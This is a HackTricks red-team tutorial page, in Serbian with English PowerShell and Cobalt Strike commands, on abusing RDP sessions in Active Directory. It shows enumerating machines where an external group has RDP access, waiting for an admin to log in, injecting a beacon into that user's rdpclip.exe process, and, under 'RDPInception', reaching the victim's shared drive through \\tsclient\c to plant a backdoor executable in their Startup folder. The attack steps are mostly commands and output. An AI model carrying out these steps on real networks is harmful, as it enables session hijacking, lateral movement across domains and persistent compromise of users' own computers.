hacktricks/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
2024-02-10 13:11:20 +00:00

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# Zloupotreba RDP sesija
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## Injekcija procesa RDP-a
Ako **spoljni tim** ima **RDP pristup** bilo kom **računaru** u trenutnoj domeni, **napadač može kompromitovati taj računar i čekati**.
Kada se korisnik prijavi putem RDP-a, **napadač može preći na tu korisnikovu sesiju** i zloupotrebiti njegove dozvole u spoljnoj domeni.
```powershell
# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#or
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
# Then, compromise the listed machines, and wait til someone from the external domain logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that user
```
Proverite **druge načine krađe sesija pomoću drugih alata** [**na ovoj stranici.**](../../network-services-pentesting/pentesting-rdp.md#session-stealing)
## RDPInception
Ako korisnik pristupi putem **RDP-a na mašinu** gde **napadač čeka** na njega, napadač će moći da **ubaci beacon u RDP sesiju korisnika** i ako je **žrtva montirala svoj drajv** prilikom pristupa putem RDP-a, napadač bi mogao da mu pristupi.
U ovom slučaju, jednostavno možete **kompromitovati** **originalno računalo žrtve** tako što ćete napisati **bekdor** u **startap folderu**.
```powershell
# Wait til someone logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
## \\tsclient\c is the C: drive on the origin machine of the RDP session
beacon> ls \\tsclient\c
Size Type Last Modified Name
---- ---- ------------- ----
dir 02/10/2021 04:11:30 $Recycle.Bin
dir 02/10/2021 03:23:44 Boot
dir 02/20/2021 10:15:23 Config.Msi
dir 10/18/2016 01:59:39 Documents and Settings
[...]
# Upload backdoor to startup folder
beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\pivot.exe
```
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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</details>